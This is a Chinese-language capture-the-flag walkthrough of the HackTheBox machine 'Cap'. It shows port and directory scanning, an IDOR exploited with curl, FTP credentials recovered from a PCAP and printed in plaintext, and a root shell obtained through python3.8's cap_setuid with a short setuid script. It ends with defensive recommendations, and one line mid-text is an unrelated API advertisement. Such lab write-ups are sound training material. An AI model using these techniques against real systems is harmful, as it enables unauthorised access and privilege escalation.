1. 靶机渗透实战概述
最近在HackTheBox平台上挑战了Cap这台靶机,整个过程涉及多个有趣的技术点。这台靶机主要考察三个核心技能:IDOR漏洞利用、PCAP文件中的凭据提取,以及利用Linux Capabilities进行提权。作为一台难度适中的靶机,它很好地模拟了真实环境中的渗透测试场景。
我花了大约3小时完成整个渗透过程,期间遇到几个值得记录的技巧和坑点。下面将完整还原整个渗透流程,重点分析每个环节的技术原理和实操细节。无论你是准备挑战这台靶机,还是想学习相关渗透技术,这篇实战记录都能提供有价值的参考。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 初始信息收集与端口扫描
2.1 基础网络探测
首先使用Nmap进行基础扫描:
bash复制nmap -sV -sC -oA initial_scan 10.10.10.245
扫描结果显示开放了3个端口:
- 21/tcp - FTP (vsftpd 3.0.3)
- 22/tcp - SSH (OpenSSH 8.2p1)
- 80/tcp - HTTP (gunicorn)
FTP服务尝试匿名登录失败,SSH暂时没有凭据,因此首先关注80端口的Web服务。
2.2 Web应用初步分析
访问http://10.10.10.245显示一个简单的网络状态监控页面,页面底部显示"Security Dashboard v1.0"。使用Gobuster进行目录扫描:
bash复制gobuster dir -u http://10.10.10.245 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt
发现几个关键端点:
- /capture (返回302重定向到/login)
- /data (返回403禁止访问)
- /ip (返回客户端IP信息)
3. IDOR漏洞发现与利用
3.1 登录功能分析
访问/capture会重定向到/login页面,尝试常见弱口令无果。查看页面源码发现一个有趣的JavaScript文件引用:
html复制<script src="/static/js/capture.js"></script>
该文件包含向/api/capture/端点发送请求的代码。直接访问/api/capture/1返回了一个PCAP文件下载链接,修改ID参数测试:
bash复制curl http://10.10.10.245/api/capture/2
返回403错误,但将ID改为0时:
bash复制curl http://10.10.10.245/api/capture/0
成功返回PCAP下载链接,这明显存在IDOR(不安全的直接对象引用)漏洞。
3.2 PCAP文件分析
下载PCAP文件后用Wireshark分析,过滤HTTP流量发现包含FTP登录请求:
code复制USER nathan
PASS Buck3tH4TF0RM3!
这就是我们需要的有效凭据。
4. 初始访问与横向移动
4.1 FTP登录与文件获取
使用获得的凭据登录FTP:
bash复制ftp 10.10.10.245
发现user.txt标志文件和一个notes.txt,notes.txt内容提示:
code复制Made some changes to the dashboard, will check later.
- nathan
4.2 SSH登录与权限检查
使用相同凭据成功SSH登录:
bash复制ssh nathan@10.10.10.245
检查sudo权限:
bash复制sudo -l
结果显示nathan没有sudo权限,需要寻找其他提权路径。
5. Linux Capabilities提权分析
5.1 系统枚举
运行LinPEAS发现关键信息:
bash复制./linpeas.sh | grep -i cap
输出显示python3.8具有cap_setuid能力:
code复制/usr/bin/python3.8 = cap_setuid+ep
5.2 Capabilities原理分析
Linux Capabilities将root权限细分为不同能力,cap_setuid允许进程任意设置UID。检查python3.8的能力:
bash复制getcap /usr/bin/python3.8
确认具有cap_setuid+ep能力,这意味着我们可以利用它来提权。
5.3 提权利用
编写Python脚本提权:
python复制import os
os.setuid(0)
os.system("/bin/bash")
保存为exploit.py并执行:
bash复制python3.8 exploit.py
成功获得root shell,可以读取/root/root.txt完成靶机挑战。
6. 技术要点总结与防御建议
6.1 IDOR漏洞防御
开发时应:
- 实施严格的访问控制检查
- 使用随机UUID替代自增ID
- 对每个请求进行权限验证
6.2 PCAP安全建议
网络管理员应:
- 避免在流量中传输明文凭据
- 使用加密协议如SFTP替代FTP
- 定期检查网络捕获文件
6.3 Linux Capabilities管理
系统管理员应:
- 定期审计具有特殊能力的二进制文件
- 遵循最小权限原则分配能力
- 使用工具如capsh进行能力限制
7. 实战中的经验技巧
- 当遇到302重定向时,记得检查前端JavaScript文件,常包含隐藏API端点
- 测试IDOR时不仅要测试+1/-1,还要尝试0、负数等边界值
- 分析PCAP文件时,先过滤常见协议(HTTP/FTP/SMB)能快速发现敏感信息
- 使用LinPEAS等自动化工具时,重点关注标红的警告项
- 遇到Capabilities提权时,GTFOBins是很好的参考资源
整个渗透过程中,IDOR漏洞的发现和Capabilities的利用是两大技术亮点。这种多层次的渗透路径在真实环境中也很常见,掌握这些技术能显著提升渗透测试效率。
